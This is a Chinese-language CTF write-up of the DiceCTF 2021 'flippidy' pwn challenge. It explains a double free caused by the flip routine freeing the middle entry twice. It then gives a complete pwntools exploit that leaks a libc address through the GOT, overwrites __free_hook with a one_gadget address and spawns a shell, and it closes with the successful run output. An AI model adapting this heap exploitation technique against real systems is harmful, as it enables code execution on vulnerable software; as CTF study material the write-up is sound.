一道简单的double free
dicectf2021_flippidy
分析
在flip时,如果书本页数是奇数数(例如7页),会依次调转0,6;1,5;2,4;3,3在调转3,3的时候就会造成double free。如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| for ( i = 0; i <= dword_404150 / 2; ++i ) { memset(s, 0, sizeof(s)); memset(dest, 0, 0x40uLL); v3 = 0; v4 = 0; if ( *((_QWORD *)qword_404158 + i) ) { strcpy(s, *((const char **)qword_404158 + i)); free(*((void **)qword_404158 + i)); } else { v3 = 1; } if ( *((_QWORD *)qword_404158 + dword_404150 - i - 1) ) { strcpy(dest, *((const char **)qword_404158 + dword_404150 - i - 1)); free(*((void **)qword_404158 + dword_404150 - i - 1)); }
|
这里比较麻烦的一点就是double free之后还会对内存内容进行一些copy,会让堆结构变得很混乱。我也是经过调试最后解出来的。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * io = process('./flippidy') context.log_level='debug' elf=ELF('./flippidy') libc = ELF('./libc.so.6') context.terminal = ['tmux','split','-hp','60']
def add(index,content): io.recvuntil(':') io.sendline(str(1)) io.sendlineafter('Index: ',str(index)) io.sendlineafter('Content: ',content)
def flip(): io.recvuntil(':') io.sendline(str(2))
def debug_add(): gdb.attach(io,"b *0x4012D0") add(0,'aa')
def debug_menu(): gdb.attach(io,"b *0x401729")
io.recvuntil('will be:') io.sendline(str(1))
add(0,p64(0x404020)) flip() add(0,p64(elf.got['puts'])*4+p64(0x404158))
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print("puts_addr: " + hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] print("libc_base: " + hex(libc_base))
add(0,p64(0x0)) add(0,p64(libc.symbols['__free_hook'] + libc_base)) add(0,p64(0)) add(0,p64(libc.symbols['__free_hook'] + libc_base)) og = [0x4f322,0x10a38c,0x4f2c5] add(0,p64(og[0]+libc_base)) flip()
io.interactive()
|
success
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| [DEBUG] Received 0x20 bytes: 00000000 0a 0a c0 89 eb 38 6a 7f 0a c0 89 eb 38 6a 7f 0a │····│·8j·│····│8j··│ 00000010 c0 89 eb 38 6a 7f 0a c0 89 eb 38 6a 7f 0a 3a 20 │···8│j···│··8j│··: │ 00000020 [DEBUG] Sent 0x2 bytes: b'2\n' [*] Switching to interactive mode $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x1e bytes: b'flippidy libc.so.6 solve.py\n' flippidy libc.so.6 solve.py $
|